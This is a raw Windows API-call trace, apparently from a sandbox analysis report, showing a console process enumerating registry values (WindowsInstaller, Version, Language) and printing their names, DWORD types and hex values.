fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.641] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.641] __iob_func () returned 0x7fefd702a80 [0150.641] _fileno (_File=0x7fefd702ab0) returned 1 [0150.641] _errno () returned 0x204bb0 [0150.641] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.641] _errno () returned 0x204bb0 [0150.641] GetFileType (hFile=0x50) returned 0x1 [0150.641] lstrlenW (lpString=" ") returned 4 [0150.641] GetConsoleOutputCP () returned 0x1b5 [0150.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.641] GetConsoleOutputCP () returned 0x1b5 [0150.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.641] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.641] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.641] __iob_func () returned 0x7fefd702a80 [0150.641] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.641] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0150.641] _fileno (_File=0x7fefd702ab0) returned 1 [0150.641] _errno () returned 0x204bb0 [0150.641] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.641] _errno () returned 0x204bb0 [0150.641] GetFileType (hFile=0x50) returned 0x1 [0150.642] lstrlenW (lpString="0x0") returned 3 [0150.642] GetConsoleOutputCP () returned 0x1b5 [0150.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.642] GetConsoleOutputCP () returned 0x1b5 [0150.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0150.642] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.642] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.642] __iob_func () returned 0x7fefd702a80 [0150.642] _fileno (_File=0x7fefd702ab0) returned 1 [0150.642] _errno () returned 0x204bb0 [0150.642] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.642] _errno () returned 0x204bb0 [0150.642] GetFileType (hFile=0x50) returned 0x1 [0150.642] lstrlenW (lpString="\n") returned 1 [0150.642] GetConsoleOutputCP () returned 0x1b5 [0150.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.642] GetConsoleOutputCP () returned 0x1b5 [0150.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.642] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.642] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.643] GetProcessHeap () returned 0x3c0000 [0150.643] GetProcessHeap () returned 0x3c0000 [0150.643] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.643] GetProcessHeap () returned 0x3c0000 [0150.643] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.643] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.643] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.643] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.643] GetProcessHeap () returned 0x3c0000 [0150.643] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.643] GetProcessHeap () returned 0x3c0000 [0150.643] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.643] GetProcessHeap () returned 0x3c0000 [0150.643] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.643] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.643] __iob_func () returned 0x7fefd702a80 [0150.643] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.643] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.643] _fileno (_File=0x7fefd702ab0) returned 1 [0150.643] _errno () returned 0x204bb0 [0150.643] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.643] _errno () returned 0x204bb0 [0150.643] GetFileType (hFile=0x50) returned 0x1 [0150.643] lstrlenW (lpString=" ") returned 4 [0150.643] GetConsoleOutputCP () returned 0x1b5 [0150.643] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.643] GetConsoleOutputCP () returned 0x1b5 [0150.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.644] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.644] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.644] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.644] __iob_func () returned 0x7fefd702a80 [0150.644] _fileno (_File=0x7fefd702ab0) returned 1 [0150.644] _errno () returned 0x204bb0 [0150.644] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.644] _errno () returned 0x204bb0 [0150.644] GetFileType (hFile=0x50) returned 0x1 [0150.644] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.644] GetConsoleOutputCP () returned 0x1b5 [0150.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0150.644] GetConsoleOutputCP () returned 0x1b5 [0150.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0150.644] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0150.644] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.644] __iob_func () returned 0x7fefd702a80 [0150.644] _fileno (_File=0x7fefd702ab0) returned 1 [0150.644] _errno () returned 0x204bb0 [0150.644] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.644] _errno () returned 0x204bb0 [0150.644] GetFileType (hFile=0x50) returned 0x1 [0150.644] lstrlenW (lpString=" ") returned 4 [0150.645] GetConsoleOutputCP () returned 0x1b5 [0150.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.645] GetConsoleOutputCP () returned 0x1b5 [0150.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.645] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.645] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.645] __iob_func () returned 0x7fefd702a80 [0150.645] _fileno (_File=0x7fefd702ab0) returned 1 [0150.645] _errno () returned 0x204bb0 [0150.645] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.645] _errno () returned 0x204bb0 [0150.645] GetFileType (hFile=0x50) returned 0x1 [0150.645] lstrlenW (lpString="REG_DWORD") returned 9 [0150.645] GetConsoleOutputCP () returned 0x1b5 [0150.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.645] GetConsoleOutputCP () returned 0x1b5 [0150.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.645] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.645] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.646] __iob_func () returned 0x7fefd702a80 [0150.646] _fileno (_File=0x7fefd702ab0) returned 1 [0150.646] _errno () returned 0x204bb0 [0150.646] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.646] _errno () returned 0x204bb0 [0150.646] GetFileType (hFile=0x50) returned 0x1 [0150.646] lstrlenW (lpString=" ") returned 4 [0150.646] GetConsoleOutputCP () returned 0x1b5 [0150.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.646] GetConsoleOutputCP () returned 0x1b5 [0150.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.646] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.646] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.646] __iob_func () returned 0x7fefd702a80 [0150.646] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.646] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.646] _fileno (_File=0x7fefd702ab0) returned 1 [0150.646] _errno () returned 0x204bb0 [0150.646] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.646] _errno () returned 0x204bb0 [0150.646] GetFileType (hFile=0x50) returned 0x1 [0150.646] lstrlenW (lpString="0x1") returned 3 [0150.646] GetConsoleOutputCP () returned 0x1b5 [0150.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.647] GetConsoleOutputCP () returned 0x1b5 [0150.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.647] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.647] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.647] __iob_func () returned 0x7fefd702a80 [0150.647] _fileno (_File=0x7fefd702ab0) returned 1 [0150.647] _errno () returned 0x204bb0 [0150.647] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.647] _errno () returned 0x204bb0 [0150.647] GetFileType (hFile=0x50) returned 0x1 [0150.647] lstrlenW (lpString="\n") returned 1 [0150.647] GetConsoleOutputCP () returned 0x1b5 [0150.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.647] GetConsoleOutputCP () returned 0x1b5 [0150.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.647] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.647] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.647] GetProcessHeap () returned 0x3c0000 [0150.647] GetProcessHeap () returned 0x3c0000 [0150.647] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.648] GetProcessHeap () returned 0x3c0000 [0150.648] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.648] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.648] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.648] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.648] GetProcessHeap () returned 0x3c0000 [0150.648] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.648] GetProcessHeap () returned 0x3c0000 [0150.648] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.648] GetProcessHeap () returned 0x3c0000 [0150.648] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.648] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xb00ee66, pcbData=0x29f780*=0x4) returned 0x0 [0150.648] __iob_func () returned 0x7fefd702a80 [0150.648] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.648] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.648] _fileno (_File=0x7fefd702ab0) returned 1 [0150.648] _errno () returned 0x204bb0 [0150.648] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.648] _errno () returned 0x204bb0 [0150.648] GetFileType (hFile=0x50) returned 0x1 [0150.648] lstrlenW (lpString=" ") returned 4 [0150.648] GetConsoleOutputCP () returned 0x1b5 [0150.648] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.648] GetConsoleOutputCP () returned 0x1b5 [0150.648] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.648] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.648] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.649] lstrlenW (lpString="Version") returned 7 [0150.649] __iob_func () returned 0x7fefd702a80 [0150.649] _fileno (_File=0x7fefd702ab0) returned 1 [0150.649] _errno () returned 0x204bb0 [0150.649] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.649] _errno () returned 0x204bb0 [0150.649] GetFileType (hFile=0x50) returned 0x1 [0150.649] lstrlenW (lpString="Version") returned 7 [0150.649] GetConsoleOutputCP () returned 0x1b5 [0150.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.649] GetConsoleOutputCP () returned 0x1b5 [0150.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0150.649] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.649] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.649] __iob_func () returned 0x7fefd702a80 [0150.649] _fileno (_File=0x7fefd702ab0) returned 1 [0150.649] _errno () returned 0x204bb0 [0150.649] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.649] _errno () returned 0x204bb0 [0150.649] GetFileType (hFile=0x50) returned 0x1 [0150.649] lstrlenW (lpString=" ") returned 4 [0150.649] GetConsoleOutputCP () returned 0x1b5 [0150.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.650] GetConsoleOutputCP () returned 0x1b5 [0150.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.650] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.650] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.650] __iob_func () returned 0x7fefd702a80 [0150.650] _fileno (_File=0x7fefd702ab0) returned 1 [0150.650] _errno () returned 0x204bb0 [0150.650] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.650] _errno () returned 0x204bb0 [0150.650] GetFileType (hFile=0x50) returned 0x1 [0150.650] lstrlenW (lpString="REG_DWORD") returned 9 [0150.650] GetConsoleOutputCP () returned 0x1b5 [0150.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.650] GetConsoleOutputCP () returned 0x1b5 [0150.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.650] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.650] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.650] __iob_func () returned 0x7fefd702a80 [0150.650] _fileno (_File=0x7fefd702ab0) returned 1 [0150.651] _errno () returned 0x204bb0 [0150.651] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.651] _errno () returned 0x204bb0 [0150.651] GetFileType (hFile=0x50) returned 0x1 [0150.651] lstrlenW (lpString=" ") returned 4 [0150.651] GetConsoleOutputCP () returned 0x1b5 [0150.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.651] GetConsoleOutputCP () returned 0x1b5 [0150.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.651] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.651] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.651] __iob_func () returned 0x7fefd702a80 [0150.651] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.651] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xb00ee66") returned 9 [0150.651] _fileno (_File=0x7fefd702ab0) returned 1 [0150.651] _errno () returned 0x204bb0 [0150.651] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.651] _errno () returned 0x204bb0 [0150.651] GetFileType (hFile=0x50) returned 0x1 [0150.651] lstrlenW (lpString="0xb00ee66") returned 9 [0150.651] GetConsoleOutputCP () returned 0x1b5 [0150.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb00ee66", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.651] GetConsoleOutputCP () returned 0x1b5 [0150.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb00ee66", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xb00ee66", lpUsedDefaultChar=0x0) returned 9 [0150.652] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.652] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.652] __iob_func () returned 0x7fefd702a80 [0150.652] _fileno (_File=0x7fefd702ab0) returned 1 [0150.652] _errno () returned 0x204bb0 [0150.652] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.652] _errno () returned 0x204bb0 [0150.652] GetFileType (hFile=0x50) returned 0x1 [0150.652] lstrlenW (lpString="\n") returned 1 [0150.652] GetConsoleOutputCP () returned 0x1b5 [0150.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.652] GetConsoleOutputCP () returned 0x1b5 [0150.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.652] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.652] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.652] GetProcessHeap () returned 0x3c0000 [0150.652] GetProcessHeap () returned 0x3c0000 [0150.652] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.652] GetProcessHeap () returned 0x3c0000 [0150.652] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.652] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.653] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.653] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.653] GetProcessHeap () returned 0x3c0000 [0150.653] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.653] GetProcessHeap () returned 0x3c0000 [0150.653] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.653] GetProcessHeap () returned 0x3c0000 [0150.653] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.653] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x409, pcbData=0x29f780*=0x4) returned 0x0 [0150.653] __iob_func () returned 0x7fefd702a80 [0150.653] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.653] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.653] _fileno (_File=0x7fefd702ab0) returned 1 [0150.653] _errno () returned 0x204bb0 [0150.653] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.653] _errno () returned 0x204bb0 [0150.653] GetFileType (hFile=0x50) returned 0x1 [0150.653] lstrlenW (lpString=" ") returned 4 